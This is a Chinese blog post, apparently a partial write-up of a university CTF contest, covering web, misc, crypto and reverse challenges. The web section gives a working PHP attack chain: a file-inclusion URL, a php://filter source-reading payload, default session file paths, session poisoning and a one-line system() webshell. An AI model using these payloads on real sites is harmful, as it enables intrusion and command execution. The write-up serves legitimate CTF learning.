当前位置:网站首页>广东大学生网络安全攻防大赛CTF部分WP
广东大学生网络安全攻防大赛CTF部分WP
2022-08-08 15:56:00 【vFREE】
三人行,除我皆是大佬,第一次参加这个比赛,个人感觉难度还算是适中,简单分享一下对这些题目的个人见解,这次只做出了5题(I'm So Vegetables),还有一题另外一个师傅在比赛结束后才做出来
WEB
easy_ctf
这题刚开始以为把给出的字符数量进行排序就行了,发现排序完成提交后,没有任何回显,这里就突然想到了会不会是有时间要求,写了脚本提交上去后,回显了flag,简单写了一个脚本,看看就好了
import requests,re
s = requests.Session()
url = 'http://120.79.xxx.xxx:42727/'
re_rules = r'<td style="WORD-WRAP: break-word" width="1600">([\s\S]*)<td>'
response = s.get(url)
strs = re.findall(re_rules,response.text)
strs = strs[-1].replace('\r\n','')
resoult = {}
for i in strs:
resoult[i] = strs.count(i)
# print(resoult)
sorted_dict = sorted(resoult.items(), key=lambda kv: kv[1])
flag = []
for i in sorted_dict:
flag.append(i[0])
s1 = ''.join(flag)
data = {
'ans':s1
}
response1 = s.post(url,data=data)
print(response1.text)
in
这道题刚开始以为是很简单的文件包含,后面发现确实很简单,没有任何字符过滤,主要是考察session文件包含,通过写入木马,访问session文件,从而达到getshell的效果
在这里输入内容后,会跳转到另外一个页面,这时候的url变成了 action.php?file=xxx,通过这个url确定是文件包含,接下来使用php伪协议读取一下首页php文件和action.php
输入url
php://filter/read/convert.base64-encode/resource=./action.php
得到了
将其解码出来后
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
到这里基本就可以确定是session文件包含,既然session内容可控,那就可以直接传入恶意代码,比如构造一个phpinfo(),也就是在please input your name下面的框写入一个<?php phpinfo();?>传进去,然后通过访问session的默认路径+sess_PHPSESSID就可以被执行了
session文件默认路径:
/tmp/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /var/lib/php5/sess_PHPSESSID /tmp/sess_PHPSESSID
同时查看我们的PHPSESSID,通过F12的"网络-cookie-PHPSESSID"那里,取得sessid,这里测试出来的session文件的路径是/tmp,所以直接访问?file=/tmp/sess_xxxxxxxxxxxx就可以执行了,执行成功后,会返回phpinfo的信息,这里就直接传入
<?php file_put_contents('vfree.php','<?php system($_GET["vfree"]);?>');?>
完成后,直接访问这个文件就可以getshell了,flag文件是/fl444444444g,最后直接cat /fl444444444g就可以得到flag了
misc
签到
关注公众号发送"我来签到了"就有了
flag{shifujiayou}
复合
下载文件下来,发现是数据包格式,我们使用wireshark打开,经过分析,数据包里面有很多文件,我们使用wireshark导出里面的所有文件
导出的文件很多,我们查看一些关键的进行查看,先识别其正确的格式。
发现一个flaggggggg.exe文件,我们将其改为zip文件打开,发现里面两个空白文件,分析其他四个文件,将WordDocument使用记事本打开,发现一个key,这个后面有用。
经过分析,发现一个pass.md文件为zip文件,但其缺少zip文件头,我们添加50 4B,然后改为zip打开,打开发现一个文件
解压后我们使用记事本打开,发现一些有规律的编码,我们使用Quoted-printable解码,解码为utf8编码,解码后发现一段文字
分析为维吉尼亚加密,我们在解密网站解密,使用前面获取的key:everything解密,得到FLAG。
crypto
crypto-xor2
这题是另外一个师傅做的,直接上脚本去破解key值,已知前四位是flag,所以可以直接枚举出剩下的字符
data = open('cipher').read()
flag = ''
for j in range(97,122):
for i, c in enumerate(data):
key = f'xxx{chr(j)}'
flag += chr(ord(c) ^ ord(key[i%4]))
#print(chr(j),flag)
if flag[0:4] == 'flag':
print(flag)
flag = ''
Reverse
pyre
根据题目就大概知道是python打包成exe的,所以直接使用pyinstxtractor工具进行逆向,逆向出来后会得到一个pyc的文件,如果没有pyc文件,就需要通过winhex或者其他的进制工具修改文件头,我用的pyinstxtractor可以直接导出来pyc文件,所以这里不做其他修改文件头的操作,得到pyc文件后,放到反编译网站进行编译,这里推荐 python反编译 - 在线工具 (tool.lu)
反编译出来的结果:
def check():
a = input('plz input your flag:')
c = [
边栏推荐
- A16z:为什么 NFT 创作者要选择 cc0?
- C. Build Permutation(构造/数论)
- All volunteers V853 chip Tina RTSP environment set up
- 如何选择ui设计机构
- leetcode/delete the nth node from the bottom of the linked list
- 解决Redis、MySQL缓存双写不一致问题
- Flutter的实现原理初探
- 京东T9纯手打688页神笔记,SSM框架整合Redis搭建高效互联网应用
- 大佬们,sqlserver-cdc任务报错这个,大家遇到过吗Caused by: org.apac
- Jingdong T9 pure hand type 688 pages of god notes, SSM framework integrates Redis to build efficient Internet applications
猜你喜欢
随机推荐
Share these new Blender plugins that designers must not miss in 2022
CS231n:6 训练神经网络(三)
目前安全靠谱的国内期货开户流程?
18、学习MySQL ALTER命令
bzoj3262 陌上花开
Groovy XML JSON
快速排序(C语言版)
Notes on the development of kindergarten enrollment registration system based on WeChat applet
分布式架构服务调用
Superset 1.2.0 installation
分布式服务治理
Power BI简介
PAT甲级:1056 Mice and Rice
你好,这个没办法执行是啥原因啊,没登录账号,ecs里面自己安装的mysql
leetcode/删除链表的倒数第n个结点
A16z:为什么 NFT 创作者要选择 cc0?
腾讯又一长达 8 年的服务下架。。。
小程序轮播图实现由远及近动画
promise学习笔记
京东T9纯手打688页神笔记,SSM框架整合Redis搭建高效互联网应用